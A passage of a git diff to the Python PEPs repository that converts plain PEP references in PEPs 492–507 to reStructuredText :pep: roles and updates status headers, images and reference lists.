``close()`` methods. ``StopIteration`` and ``GeneratorExit`` play the same role for coroutines (although -PEP 479 is enabled by default for coroutines). See PEP 342, PEP 380, +:pep:`479` is enabled by default for coroutines). See :pep:`342`, :pep:`380`, and Python Documentation [11]_ for details. ``throw()``, ``send()`` methods for *coroutines* are used to push @@ -943,7 +943,7 @@ Design Considerations PEP 3152 -------- -PEP 3152 by Gregory Ewing proposes a different mechanism for coroutines +:pep:`3152` by Gregory Ewing proposes a different mechanism for coroutines (called "cofunctions"). Some key points: 1. A new keyword ``codef`` to declare a *cofunction*. *Cofunction* is @@ -980,7 +980,7 @@ Differences from this proposal: ``async def``). It is possible to simply write ``await future``, whereas ``cocall`` always requires parentheses. -3. To make asyncio work with PEP 3152 it would be required to modify +3. To make asyncio work with :pep:`3152` it would be required to modify ``@asyncio.coroutine`` decorator to wrap all functions in an object with a ``__cocall__`` method, or to implement ``__cocall__`` on generators. To call *cofunctions* from existing generator-based @@ -1065,11 +1065,11 @@ project easier (Python with ECMAScript 7 for instance). Why "__aiter__" does not return an awaitable -------------------------------------------- -PEP 492 was accepted in CPython 3.5.0 with ``__aiter__`` defined as +:pep:`492` was accepted in CPython 3.5.0 with ``__aiter__`` defined as a method, that was expected to return an awaitable resolving to an asynchronous iterator. -In 3.5.2 (as PEP 492 was accepted on a provisional basis) the +In 3.5.2 (as :pep:`492` was accepted on a provisional basis) the ``__aiter__`` protocol was updated to return asynchronous iterators directly. @@ -1388,7 +1388,7 @@ tested. Acceptance ========== -PEP 492 was accepted by Guido, Tuesday, May 5, 2015 [14]_. +:pep:`492` was accepted by Guido, Tuesday, May 5, 2015 [14]_. Implementation diff --git a/pep-0493.txt b/pep-0493.txt index 5947180adcb..a286091faf2 100644 --- a/pep-0493.txt +++ b/pep-0493.txt @@ -18,7 +18,7 @@ Resolution: https://mail.python.org/pipermail/python-dev/2016-March/143450.html Abstract ======== -PEP 476 updated Python's default handling of HTTPS certificates in client +:pep:`476` updated Python's default handling of HTTPS certificates in client modules to align with certificate handling in web browsers, by validating that the certificates received belonged to the server the client was attempting to contact. The Python 2.7 long term maintenance series was judged to be in @@ -35,7 +35,7 @@ from the decision to update to newer Python 2.7 maintenance releases. Rationale ========= -PEP 476 changed Python's default behaviour to align with expectations +:pep:`476` changed Python's default behaviour to align with expectations established by web browsers in regards to the semantics of HTTPS URLs: starting with Python 2.7.9 and 3.4.3, HTTPS clients in the standard library validate server certificates by default. @@ -58,7 +58,7 @@ offer relatively straightforward mechanisms for turning them off. At the moment, no such convenient mechanisms exist to disable Python's default certificate checking for a whole process. -PEP 476 did attempt to address this question, by covering how to revert to the +:pep:`476` did attempt to address this question, by covering how to revert to the old settings process wide by monkeypatching the ``ssl`` module to restore the old behaviour. Unfortunately, the ``sitecustomize.py`` based technique proposed to allow system administrators to disable the feature by default in their @@ -86,7 +86,7 @@ redistributors will still make their own design decisions in the interests of their customers. The main approaches available are: * Continuing to rebase on new Python 2.7.x releases, while providing no - additional assistance beyond the mechanisms defined in PEP 476 in migrating + additional assistance beyond the mechanisms defined in :pep:`476` in migrating from unchecked to checked hostnames in standard library HTTPS clients * Gating availability of the changes in default handling of HTTPS connections on upgrading from Python 2 to Python 3 @@ -128,7 +128,7 @@ The feature detection attributes defined by this PEP are: * ``ssl._https_verify_certificates``: runtime configuration API * ``ssl._https_verify_envvar``: environment based configuration -* ``ssl._cert_verification_config``: file based configuration (PEP 476 opt-in) +* ``ssl._cert_verification_config``: file based configuration (:pep:`476` opt-in) The marker attributes are prefixed with an underscore to indicate the implementation dependent and security sensitive nature of these capabilities. @@ -281,7 +281,7 @@ Backporting this PEP to earlier Python versions If this PEP is accepted, then commercial Python redistributors may choose to backport the per-process configuration mechanisms defined in this PEP to base -versions older than Python 2.7.9, *without* also backporting PEP 476's change +versions older than Python 2.7.9, *without* also backporting :pep:`476`'s change to the default behaviour of the overall Python installation. Such a backport would differ from the mechanism proposed in this PEP solely in @@ -303,7 +303,7 @@ is nominally older than Python 2.7.12. Specification ------------- -Implementing this backport involves backporting the changes in PEP 466, 476 and +Implementing this backport involves backporting the changes in :pep:`466`, 476 and this PEP, with the following change to the handling of the ``PYTHONHTTPSVERIFY`` environment variable in the ``ssl`` module: @@ -342,7 +342,7 @@ Security Considerations This change would be a strict security upgrade for any Python version that currently defaults to skipping certificate validation in standard library HTTPS clients. The technical trade-offs to be taken into account relate largely -to the magnitude of the PEP 466 backport also required rather than to anything +to the magnitude of the :pep:`466` backport also required rather than to anything security related. Interaction with Python virtual environments @@ -408,9 +408,9 @@ relevant configuration file name. Recommended modifications to the Python standard library -------------------------------------------------------- -The recommended approach to backporting the PEP 476 modifications to an earlier +The recommended approach to backporting the :pep:`476` modifications to an earlier point release is to implement the following changes relative to the default -PEP 476 behaviour implemented in Python 2.7.9+: +:pep:`476` behaviour implemented in Python 2.7.9+: * modify the ``ssl`` module to read a system wide configuration file when the module is first imported into a Python process @@ -544,7 +544,7 @@ Recommendation for combined feature backports If a redistributor chooses to backport the environment variable based configuration setting from this PEP to a modified Python version that also -implements the configuration file based PEP 476 backport, then the environment +implements the configuration file based :pep:`476` backport, then the environment variable should take precedence over the system-wide configuration setting. This allows the setting to be changed for a given user or application, regardless of the installation-wide default behaviour. diff --git a/pep-0494.txt b/pep-0494.txt index 19dc8d2d936..f9dfd4d5cca 100644 --- a/pep-0494.txt +++ b/pep-0494.txt @@ -3,7 +3,7 @@ Title: Python 3.6 Release Schedule Version: $Revision$ Last-Modified: $Date$ Author: Ned Deily -Status: Active +Status: Final Type: Informational Content-Type: text/x-rst Created: 30-May-2015 @@ -17,10 +17,6 @@ This document describes the development and release schedule for Python 3.6. The schedule primarily concerns itself with PEP-sized items. -.. Small features may be added up to the first beta - release. Bugs may be fixed until the final release, - which is planned for December 2016. - Release Manager and Crew ======================== @@ -42,6 +38,12 @@ After that, it is expected that (source only) will be released as needed until 5 years after the release of 3.6 final, so until approximately 2021-12. +As of 2021-12-23, 3.6 has reached the +`end-of-life phase `_ +of its release cycle. 3.6.15 was the final security release. The code base for +3.6 is now frozen and no further updates will be provided nor issues of any +kind will be accepted on the bug tracker. + Release Schedule ================ @@ -145,12 +147,15 @@ Source only - 3.6.13 final: 2021-02-15 -3.6.14 and beyond schedule --------------------------- +3.6.14 schedule +--------------- -Security fixes only, as needed, until 2021-12 +- 3.6.14 final: 2021-06-28 + +3.6.15 schedule (last security-only release) +-------------------------------------------- -- TBD +- 3.6.15 final: 2021-09-04 Features for 3.6 diff --git a/pep-0495-daylightsavings.png b/pep-0495-daylightsavings.png index 18a1f6c2b26..913d67de52a 100644 Binary files a/pep-0495-daylightsavings.png and b/pep-0495-daylightsavings.png differ diff --git a/pep-0495-fold-2.png b/pep-0495-fold-2.png deleted file mode 100644 index d09eb41f721..00000000000 Binary files a/pep-0495-fold-2.png and /dev/null differ diff --git a/pep-0495-gap.png b/pep-0495-gap.png deleted file mode 100644 index e3ba3cb77e1..00000000000 Binary files a/pep-0495-gap.png and /dev/null differ diff --git a/pep-0495.txt b/pep-0495.txt index 197e78a8154..456fa18dd2f 100644 --- a/pep-0495.txt +++ b/pep-0495.txt @@ -3,7 +3,7 @@ Title: Local Time Disambiguation Version: $Revision$ Last-Modified: $Date$ Author: Alexander Belopolsky , Tim Peters -Discussions-To: Datetime-SIG +Discussions-To: datetime-sig@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -384,9 +384,10 @@ smaller after any transition that creates a fold. The values returned by ``tzname()`` and ``dst()`` may or may not depend on the value of the ``fold`` attribute depending on the kind of the transition. -.. image:: pep-0495-fold-2.png +.. image:: pep-0495-fold.svg :align: center :width: 60% + :class: invert-in-dark-mode The sketch above illustrates the relationship between the UTC and local time around a fall-back transition. The zig-zag line is a graph @@ -409,9 +410,10 @@ local time that falls in a gap, the rules in effect before the transition should be used if ``fold=0``. Otherwise, the rules in effect after the transition should be used. -.. image:: pep-0495-gap.png +.. image:: pep-0495-gap.svg :align: center :width: 60% + :class: invert-in-dark-mode The sketch above illustrates the relationship between the UTC and local time around a spring-forward transition. At the transition, the diff --git a/pep-0496.txt b/pep-0496.txt index 52826711938..53068cfc2b3 100644 --- a/pep-0496.txt +++ b/pep-0496.txt @@ -6,16 +6,17 @@ Author: James Polley BDFL-Delegate: Nick Coghlan Status: Rejected Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 03-Jul-2015 PEP Status ========== -After this PEP was initially drafted, PEP 508 was developed and submitted to +After this PEP was initially drafted, :pep:`508` was developed and submitted to fully specify the dependency declaration syntax, including environment markers. As a result, this PEP ended up being rejected in favour of the more comprehensive -PEP 508. +:pep:`508`. Abstract ======== @@ -26,8 +27,8 @@ required in particular environments, and to indicate supported platforms for distributions with additional constraints beyond the availability of a Python runtime. -Environment markers were first specified in PEP-0345 [#pep345]_. PEP-0426 -[#pep426]_ (which would replace PEP-0345) proposed extensions to the markers. +Environment markers were first specified in :pep:`345`. :pep:`426` +(which would replace :pep:`345`) proposed extensions to the markers. When 2.7.10 was released, even these extensions became insufficient due to their reliance on simple lexical comparisons, and thus this PEP has been born. @@ -97,9 +98,9 @@ The pseudo-grammar is :: ``SUBEXPR`` is either a Python string (such as ``'win32'``) or one of the ``Strings`` marker variables listed below. -``VEREXPR`` is a PEP-0440 [#pep440]_ version identifier, or one of the +``VEREXPR`` is a :pep:`440` version identifier, or one of the ``Version number`` marker variables listed below. Comparisons between -version numbers are done using PEP-0440 semantics. +version numbers are done using :pep:`440` semantics. Strings @@ -147,18 +148,6 @@ respectively, in accordance with the following algorithm:: ``python_full_version`` will typically correspond to ``sys.version.split()[0]``. -References -========== - -.. [#pep345] PEP 345, Metadata for Python Software Packages 1.2, Jones - (http://www.python.org/dev/peps/pep-0345) - -.. [#pep426] PEP 426, Metadata for Python Software Packages 2.0, Coghlan, Holth, Stufft - (http://www.python.org/dev/peps/pep-0426) - -.. [#pep440] PEP 440, Version Identification and Dependency Specification, Coghlan, Stufft - (https://www.python.org/dev/peps/pep-0440/) - Copyright ========= diff --git a/pep-0497.txt b/pep-0497.txt index bc6fa24b5f5..cfb857d417e 100644 --- a/pep-0497.txt +++ b/pep-0497.txt @@ -3,7 +3,7 @@ Title: A standard mechanism for backward compatibility Version: $Revision$ Last-Modified: $Date$ Author: Ed Schofield -BDFL-Delegate: Brett Cannon (on behalf of the steering council) +PEP-Delegate: Brett Cannon Status: Rejected Type: Process Content-Type: text/x-rst @@ -14,7 +14,7 @@ Rejection Notice ================ The steering council decided that the `__past__` aspect of this proposal was too complicated for the potential benefit. The other aspect of stronger -requirements for backwards-compatibility should be addressed by PEP 387. +requirements for backwards-compatibility should be addressed by :pep:`387`. Scope @@ -24,14 +24,14 @@ This PEP is complementary to PEPs 5, 236, and 387, and shares similar goals. This PEP explains the need for an additional compatibility mechanism -in support of PEP 5, "Guidelines for Language Evolution". PEP 236, -"Back to the __future__", introduced a mechanism for forward -compatibility in support of PEP 5 but noted that a new mechanism for +in support of :pep:`5`, "Guidelines for Language Evolution". :pep:`236`, +"Back to the ``__future__``", introduced a mechanism for forward +compatibility in support of :pep:`5` but noted that a new mechanism for backward compatibility was outside the scope of that PEP. A related PEP (in progress) introduces such a mechanism for backward compatibility. -PEP 5, "Guidelines for Language Evolution", notes that "This PEP [PEP 5] +:pep:`5`, "Guidelines for Language Evolution", notes that "This PEP [:pep:`5`] does not replace or preclude other compatibility strategies such as dynamic loading of backwards-compatible parsers." @@ -39,16 +39,16 @@ dynamic loading of backwards-compatible parsers." Context ======= -From PEP 236: "From time to time, Python makes an incompatible change +From :pep:`236`: "From time to time, Python makes an incompatible change to the advertised semantics of core language constructs, or changes their accidental (implementation-dependent) behavior in some way. While this is never done capriciously, and is always done with the aim of improving the language over the long term, over the short term it's -contentious and disrupting. PEP 5, Guidelines for Language Evolution, -suggests ways to ease the pain, and this PEP [236] introduces some +contentious and disrupting. :pep:`5`, Guidelines for Language Evolution, +suggests ways to ease the pain, and this PEP [:pep:`236`] introduces some machinery in support of that." -Also from PEP 236: "The purpose of future_statement is to make life +Also from :pep:`236`: "The purpose of future_statement is to make life easier for people who keep current with the latest release in a timely fashion. We don't hate you if you don't, but your problems are much harder to solve, and somebody with those problems will need to write a @@ -77,8 +77,8 @@ the newer interpreter is only capable of using code that has been upgraded to support the changed feature. As an example, consider the changes to the division operator -introduced in PEP 238 in 2001, soon after PEP 236 introduced the -future_statement mechanism. PEP 238 outlines a suite of useful +introduced in :pep:`238` in 2001, soon after :pep:`236` introduced the +future_statement mechanism. :pep:`238` outlines a suite of useful forward-compatibility mechanisms for "true division" in the Python 2.x series but omits to include any backward-compatibility mechanisms for after "true division" was first enforced in Python 3.0. Python versions @@ -127,14 +127,14 @@ Proposal - part 1 This PEP makes two specific, related proposals. The first is that: - PEP 5 be augmented with a 6th step in the section "Steps for + :pep:`5` be augmented with a 6th step in the section "Steps for Introducing Backwards-Incompatible Features" to indicate that, when an incompatible change to core language syntax or semantics is being made, Python-dev's policy is to prefer and expect that, wherever possible, a mechanism for backward compatibility be considered and provided for future Python versions after the breaking change is adopted by default, in addition to any mechanisms proposed for forward - compatibility such as new future_statements. Furthermore, PEP 387, + compatibility such as new future_statements. Furthermore, :pep:`387`, "Backwards Compatibility Policy" (if accepted) would be augmented with the same 6th step. @@ -144,7 +144,7 @@ Example As an example of how this PEP is to be applied, if the latest revision of the "true division" PEP (238) were proposed today, it would be -considered incomplete. PEP 238 notes the "severe backwards +considered incomplete. :pep:`238` notes the "severe backwards compatibility issues" raised by the proposal and describes several measures for forward compatibility in the Abstract and API Changes sections. It also mentions some backward compatibility ideas raised on @@ -153,7 +153,7 @@ classic division semantics in a module", but it does not put forward any backward compatibility plan as part of the proposal. If this PEP is accepted, it would be expected that a proposal such as -PEP 238, because of its large-scale compatibility implications, would +:pep:`238`, because of its large-scale compatibility implications, would also be accompanied by a backward compatibility plan that enables users of future Python versions after the breaking change has come into effect to re-enable the classic division behaviour easily in @@ -176,7 +176,7 @@ of the ``__future__`` module and ``future_statement`` mechanism. The specific form and implementation of the ``__past__`` mechanism is the subject of a separate PEP (in progress). However, this PEP recommends that this ``__past__`` mechanism be designed to meet -similar criteria to those outlined in PEP 296 for ``__future__``. +similar criteria to those outlined in :pep:`296` for ``__future__``. Specifically: a. It should enable individual modules to specify obsolete behaviours diff --git a/pep-0498.txt b/pep-0498.txt index c0f03f68382..22fc2689273 100644 --- a/pep-0498.txt +++ b/pep-0498.txt @@ -42,10 +42,10 @@ their values. Some examples are:: >>> f'He said his name is {name!r}.' "He said his name is 'Fred'." -A similar feature was proposed in PEP 215. PEP 215 proposed to support +A similar feature was proposed in :pep:`215`. :pep:`215` proposed to support a subset of Python expressions, and did not support the type-specific string formatting (the ``__format__()`` method) which was introduced -with PEP 3101. +with :pep:`3101`. Rationale ========= @@ -78,9 +78,9 @@ To be defensive, the following code should be used:: ``str.format()`` was added to address some of these problems with %-formatting. In particular, it uses normal function call syntax (and -therefor supports multiple parameters) and it is extensible through +therefore supports multiple parameters) and it is extensible through the ``__format__()`` method on the object being converted to a -string. See PEP 3101 for a detailed rationale. This PEP reuses much of +string. See :pep:`3101` for a detailed rationale. This PEP reuses much of the ``str.format()`` syntax and machinery, in order to provide continuity with an existing Python string formatting mechanism. @@ -613,7 +613,7 @@ is not compatible with a bytes string. Binary f-strings would first require a solution for ``bytes.format()``. This idea has been proposed in the past, most -recently in PEP 461 [#]_. The discussions of such a feature usually +recently in :pep:`461#proposed-variations`. The discussions of such a feature usually suggest either - adding a method such as ``__bformat__()`` so an object can control @@ -667,7 +667,7 @@ If you feel you must use lambdas, they may be used inside of parentheses:: Can't combine with 'u' -------------------------- -The 'u' prefix was added to Python 3.3 in PEP 414 as a means to ease +The 'u' prefix was added to Python 3.3 in :pep:`414` as a means to ease source compatibility with Python 2.7. Because Python 2.7 will never support f-strings, there is nothing to be gained by being able to combine the 'f' prefix with 'u'. @@ -734,9 +734,6 @@ References .. [#] Differences in str.format() and f-string expressions (https://mail.python.org/pipermail/python-ideas/2015-July/034726.html) -.. [#] PEP 461 rejects bytes.format() - (https://www.python.org/dev/peps/pep-0461/#proposed-variations) - Copyright ========= diff --git a/pep-0499.txt b/pep-0499.txt index b75f527ef7e..9cbf6f8c3f0 100644 --- a/pep-0499.txt +++ b/pep-0499.txt @@ -147,7 +147,7 @@ Therefore, ``__name__`` is no longer the canonical name for some normal imports. Some counter arguments follow: -- As of PEP 451 a module's canonical name is stored at ``__spec__.name``. +- As of :pep:`451` a module's canonical name is stored at ``__spec__.name``. - Very little code should actually care about ``__name__`` being the canonical name and any that does should arguably be updated to consult ``__spec__.name`` with fallback to ``__name__`` for older Pythons, should that be relevant. @@ -220,8 +220,9 @@ However, the problem has been around as long as the ``-m`` command line option and is encountered regularly, if infrequently, by others. In addition to `issue 19702`_, the discrepancy around `__main__` -is alluded to in PEP 451 and a similar proposal (predating PEP 451) -is described in PEP 395 under `Fixing dual imports of the main module`_. +is alluded to in :pep:`451` and a similar proposal (predating :pep:`451`) +is described in :pep:`395` under +:pep:`Fixing dual imports of the main module <395#fixing-dual-imports-of-the-main-module>`. References @@ -231,8 +232,6 @@ References .. _I tripped over this issue: https://mail.python.org/pipermail/python-list/2015-August/694905.html -.. _Fixing dual imports of the main module: https://www.python.org/dev/peps/pep-0395/#fixing-dual-imports-of-the-main-module - Copyright ========= diff --git a/pep-0500.txt b/pep-0500.txt index 947a41e8c7a..b96f48a4272 100644 --- a/pep-0500.txt +++ b/pep-0500.txt @@ -1,10 +1,9 @@ PEP: 500 -Title: A protocol for delegating datetime methods to their - tzinfo implementations +Title: A protocol for delegating datetime methods to their tzinfo implementations Version: $Revision$ Last-Modified: $Date$ Author: Alexander Belopolsky , Tim Peters -Discussions-To: Datetime-SIG +Discussions-To: datetime-sig@python.org Status: Rejected Type: Standards Track Content-Type: text/x-rst diff --git a/pep-0501.txt b/pep-0501.txt index e623c28ed51..65614613f56 100644 --- a/pep-0501.txt +++ b/pep-0501.txt @@ -14,7 +14,7 @@ Post-History: 08-Aug-2015, 23-Aug-2015, 30-Aug-2015 Abstract ======== -PEP 498 proposes new syntactic support for string interpolation that is +:pep:`498` proposes new syntactic support for string interpolation that is transparent to the compiler, allow name references from the interpolation operation full access to containing namespaces (as with any other expression), rather than being limited to explicit name references. These are referred @@ -47,7 +47,7 @@ Some possible examples of the proposed syntax:: PEP Deferral ============ -This PEP is currently deferred pending further experience with PEP 498's +This PEP is currently deferred pending further experience with :pep:`498`'s simpler approach of only supporting eager rendering without the additional complexity of also supporting deferred rendering. @@ -55,7 +55,7 @@ complexity of also supporting deferred rendering. Summary of differences from PEP 498 =================================== -The key additions this proposal makes relative to PEP 498: +The key additions this proposal makes relative to :pep:`498`: * the "i" (interpolation template) prefix indicates delayed rendering, but otherwise uses the same syntax and semantics as formatted strings @@ -70,7 +70,7 @@ The key additions this proposal makes relative to PEP 498: NOTE: This proposal spells out a draft API for ``types.InterpolationTemplate``. The precise details of the structures and methods exposed by this type would -be informed by the reference implementation of PEP 498, so it makes sense to +be informed by the reference implementation of :pep:`498`, so it makes sense to gain experience with that as an internal API before locking down a public API (if this extension proposal is accepted). @@ -120,7 +120,7 @@ strings that are not present directly in the source code of the application. Rationale ========= -PEP 498 makes interpolating values into strings with full access to Python's +:pep:`498` makes interpolating values into strings with full access to Python's lexical namespace semantics simpler, but it does so at the cost of creating a situation where interpolating values into sensitive targets like SQL queries, shell commands and HTML templates will enjoy a much cleaner syntax when handled @@ -148,7 +148,7 @@ permitted), and string literal concatenation operates as normal, with the entire combined literal forming the interpolation template. The template string is parsed into literals, expressions and format specifiers -as described for f-strings in PEP 498. Conversion specifiers are handled +as described for f-strings in :pep:`498`. Conversion specifiers are handled by the compiler, and appear as part of the field text in interpolation templates. @@ -264,7 +264,7 @@ NOTE: interpolation templates. The ``!a``, ``!r`` and ``!s`` conversion specifiers supported by ``str.format`` -and hence PEP 498 are handled in interpolation templates as follows: +and hence :pep:`498` are handled in interpolation templates as follows: * they're included unmodified in the raw template to ensure no information is lost @@ -334,7 +334,7 @@ Is essentially equivalent to:: Handling code injection attacks ------------------------------- -The PEP 498 formatted string syntax makes it potentially attractive to write +The :pep:`498` formatted string syntax makes it potentially attractive to write code like the following:: runquery(f"SELECT {column} FROM {table};") @@ -396,7 +396,7 @@ Invalid expressions:: SyntaxError: invalid syntax Run time errors occur when evaluating the expressions inside a -template string before creating the interpolation template object. See PEP 498 +template string before creating the interpolation template object. See :pep:`498` for some examples. Different renderers may also impose additional runtime @@ -456,7 +456,7 @@ that happen to be passed in as data values in a normal field. Discussion ========== -Refer to PEP 498 for additional discussion, as several of the points there +Refer to :pep:`498` for additional discussion, as several of the points there also apply to this PEP. Deferring support for binary interpolation @@ -480,7 +480,7 @@ For interoperability with interfaces that only accept strings, interpolation templates can still be prerendered with ``format``, rather than delegating the rendering to the called function. -This reflects the key difference from PEP 498, which *always* eagerly applies +This reflects the key difference from :pep:`498`, which *always* eagerly applies the default rendering, without any way to delegate the choice of renderer to another section of the code. @@ -503,10 +503,9 @@ made it much easier to support customisation of the semantics of interpolation. Building atop PEP 498, rather than competing with it ---------------------------------------------------- - Earlier versions of this PEP attempted to serve as a complete substitute for -PEP 498, rather than building a more flexible delayed rendering capability on -top of PEP 498's eager rendering. +:pep:`498`, rather than building a more flexible delayed rendering capability on +top of :pep:`498`'s eager rendering. Assuming the presence of f-strings as a supporting capability simplified a number of aspects of the proposal in this PEP (such as how to handle substitution @@ -527,9 +526,9 @@ contexts (like HTML, system shells, and database queries), or producing application debugging messages in the preferred language of the development team (rather than the native language of end users). -Due to the original design of the ``str.format`` substitution syntax in PEP -3101 being inspired by C#'s string formatting syntax, the specific field -substitution syntax used in PEP 498 is consistent not only with Python's own ``str.format`` syntax, but also with string formatting in C#, including the +Due to the original design of the ``str.format`` substitution syntax in :pep:`3101` +being inspired by C#'s string formatting syntax, the specific field +substitution syntax used in :pep:`498` is consistent not only with Python's own ``str.format`` syntax, but also with string formatting in C#, including the native "$-string" interpolation syntax introduced in C# 6.0 (released in July 2015). The related ``IFormattable`` interface in C# forms the basis of a `number of elements `__ of C#'s internationalization and localization @@ -545,7 +544,7 @@ format for translating C# applications). Acknowledgements ================ -* Eric V. Smith for creating PEP 498 and demonstrating the feasibility of +* Eric V. Smith for creating :pep:`498` and demonstrating the feasibility of arbitrary expression substitution in string interpolation * Barry Warsaw, Armin Ronacher, and Mike Miller for their contributions to exploring the feasibility of using this model of delayed rendering in i18n @@ -564,17 +563,13 @@ References .. [#] string.Template documentation (https://docs.python.org/3/library/string.html#template-strings) -.. [#] PEP 215: String Interpolation - (https://www.python.org/dev/peps/pep-0215/) +.. [#] :pep:`215`: String Interpolation -.. [#] PEP 292: Simpler String Substitutions - (https://www.python.org/dev/peps/pep-0292/) +.. [#] :pep:`292`: Simpler String Substitutions -.. [#] PEP 3101: Advanced String Formatting - (https://www.python.org/dev/peps/pep-3101/) +.. [#] :pep:`3101`: Advanced String Formatting -.. [#] PEP 498: Literal string formatting - (https://www.python.org/dev/peps/pep-0498/) +.. [#] :pep:`498`: Literal string formatting .. [#] FormattableString and C# native string interpolation (https://msdn.microsoft.com/en-us/library/dn961160.aspx) diff --git a/pep-0502.txt b/pep-0502.txt index 5e6855d3fae..cc73fdaafa8 100644 --- a/pep-0502.txt +++ b/pep-0502.txt @@ -13,7 +13,7 @@ Python-Version: 3.6 Abstract ======== -PEP 498: *Literal String Interpolation*, which proposed "formatted strings" was +:pep:`498`: *Literal String Interpolation*, which proposed "formatted strings" was accepted September 9th, 2015. Additional background and rationale given during its design phase is detailed below. @@ -46,7 +46,7 @@ PEP Status ========== This PEP was rejected based on its using an opinion-based tone rather than a factual one. -This PEP was also deemed not critical as PEP 498 was already written and should be the place +This PEP was also deemed not critical as :pep:`498` was already written and should be the place to house design decision details. @@ -64,10 +64,10 @@ or identifier duplication. These difficulties are described at moderate length in the original `post to python-ideas`_ -that started the snowball (that became PEP 498) rolling. [1]_ +that started the snowball (that became :pep:`498`) rolling. [1]_ Furthermore, replacement of the print statement with the more consistent print -function of Python 3 (PEP 3105) has added one additional minor burden, +function of Python 3 (:pep:`3105`) has added one additional minor burden, an additional set of parentheses to type and read. Combined with the verbosity of current string formatting solutions, this puts an otherwise simple language at an unfortunate disadvantage to its @@ -192,7 +192,7 @@ or forget the trailing type, e.g. (``s`` or ``d``). string.Template Class ''''''''''''''''''''' -The ``string.Template`` `class from`_ PEP 292 +The ``string.Template`` `class from`_ :pep:`292` (Simpler String Substitutions) is a purposely simplified design, using familiar shell interpolation syntax, @@ -220,7 +220,7 @@ unless encapsulated in a `convenience library`_ such as ``flufl.i18n``. PEP 215 - String Interpolation '''''''''''''''''''''''''''''' -PEP 215 was a former proposal of which this one shares a lot in common. +:pep:`215` was a former proposal of which this one shares a lot in common. Apparently, the world was not ready for it at the time, but considering recent support in a number of other languages, its day may have come. @@ -234,7 +234,7 @@ It was superseded by the following proposal. str.format() Method ''''''''''''''''''' -The ``str.format()`` `syntax of`_ PEP 3101 is the most recent and modern of the +The ``str.format()`` `syntax of`_ :pep:`3101` is the most recent and modern of the existing options. It is also more powerful and usually easier to read than the others. It avoids many of the drawbacks and limits of the previous techniques. @@ -260,7 +260,7 @@ The verbosity of the method-based approach is illustrated here. PEP 498 -- Literal String Formatting '''''''''''''''''''''''''''''''''''' -PEP 498 defines and discusses format strings, +:pep:`498` defines and discusses format strings, as also described in the `Abstract`_ above. It also, somewhat controversially to those first exposed, @@ -273,7 +273,7 @@ Restricting Syntax section under PEP 501 -- Translation ready string interpolation ''''''''''''''''''''''''''''''''''''''''''''''''' -The complimentary PEP 501 brings internationalization into the discussion as a +The complimentary :pep:`501` brings internationalization into the discussion as a first-class concern, with its proposal of the i-prefix, ``string.Template`` syntax integration compatible with ES6 (Javascript), deferred rendering, @@ -463,7 +463,7 @@ the existing choices, >>> f'Hello, {location} !' # new prefix: f'' 'Hello, World !' # interpolated result -PEP 498 -- Literal String Formatting, delves into the mechanics and +:pep:`498` -- Literal String Formatting, delves into the mechanics and implementation of this design. @@ -565,7 +565,7 @@ Internationalization '''''''''''''''''''' Though it was highly desired to integrate internationalization support, -(see PEP 501), +(see :pep:`501`), the finer details diverge at almost every point, making a common solution unlikely: [15]_ @@ -640,7 +640,7 @@ which could encourage bad habits. [13]_ Acknowledgements ================ -* Eric V. Smith for the authoring and implementation of PEP 498. +* Eric V. Smith for the authoring and implementation of :pep:`498`. * Everyone on the python-ideas mailing list for rejecting the various crazy ideas that came up, helping to keep the final design in focus. diff --git a/pep-0503.txt b/pep-0503.txt index ad8e42d3049..922afe70c55 100644 --- a/pep-0503.txt +++ b/pep-0503.txt @@ -5,8 +5,9 @@ Last-Modified: $Date$ Author: Donald Stufft BDFL-Delegate: Donald Stufft Discussions-To: distutils-sig@python.org -Status: Accepted -Type: Informational +Status: Final +Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 04-Sep-2015 Post-History: 04-Sep-2015 @@ -98,7 +99,7 @@ In addition to the above, the following constraints are placed on the API: GPG signature. Repositories that do this **SHOULD** include it on every link. * A repository **MAY** include a ``data-requires-python`` attribute on a file - link. This exposes the *Requires-Python* metadata field, specified in PEP 345, + link. This exposes the *Requires-Python* metadata field, specified in :pep:`345`, for the corresponding release. Where this is present, installer tools **SHOULD** ignore the download when installing to a Python version that doesn't satisfy the requirement. For example:: @@ -111,7 +112,7 @@ In addition to the above, the following constraints are placed on the API: Normalized Names ---------------- -This PEP references the concept of a "normalized" project name. As per PEP 426 +This PEP references the concept of a "normalized" project name. As per :pep:`426` the only valid characters in a name are the ASCII alphabet, ASCII numbers, ``.``, ``-``, and ``_``. The name should be lowercased with all runs of the characters ``.``, ``-``, or ``_`` replaced with a single ``-`` character. This diff --git a/pep-0504.txt b/pep-0504.txt index a1317b589dd..d893596b64f 100644 --- a/pep-0504.txt +++ b/pep-0504.txt @@ -50,7 +50,7 @@ Steven's proposal has the desired effect of aligning the easy way to generate such tokens and the right way to generate them, without introducing any compatibility risks for the existing ``random`` module API, so this PEP has been withdrawn in favour of further work on refining Steven's proposal as -PEP 506. +:pep:`506`. Proposal diff --git a/pep-0505.rst b/pep-0505.rst index 108efead993..9c2272772a1 100644 --- a/pep-0505.rst +++ b/pep-0505.rst @@ -572,8 +572,8 @@ Rejected Ideas The first three ideas in this section are oft-proposed alternatives to treating ``None`` as special. For further background on why these are rejected, see their -treatment in `PEP 531 `_ and -`PEP 532 `_ and the associated +treatment in :pep:`531` and +:pep:`532` and the associated discussions. No-Value Protocol @@ -751,7 +751,7 @@ Going back to one of the motivating examples above, consider the following:: >>> import json >>> created = None - >>> json.dumps({'created': created?.isoformat()})`` + >>> json.dumps({'created': created?.isoformat()}) The JSON serializer does not know how to serialize ``NoneQuestion``, nor will any other API. This proposal actually requires *lots of specialized logic* diff --git a/pep-0506.txt b/pep-0506.txt index ab4f8d5f26f..bd170f4ae9c 100644 --- a/pep-0506.txt +++ b/pep-0506.txt @@ -226,8 +226,9 @@ module [#]_. This received considerable scepticism and outright opposition: without a proven attack against Python applications, many people object to a backwards-incompatible change. -Nick Coghlan made an earlier suggestion for a globally configurable PRNG -which uses the system CSPRNG by default [#]_, but has since withdrawn it +Nick Coghlan made an :pep:`earlier suggestion <504>` +for a globally configurable PRNG +which uses the system CSPRNG by default, but has since withdrawn it in favour of this proposal. @@ -412,8 +413,6 @@ References output from the system CSPRNG, which is believed to be much harder to exploit. -.. [#] http://legacy.python.org/dev/peps/pep-0504/ - .. [#] http://php.net/manual/en/function.uniqid.php .. [#] http://php.net/manual/en/function.openssl-random-pseudo-bytes.php diff --git a/pep-0507.txt b/pep-0507.txt index 9c363fba679..b12f57c70db 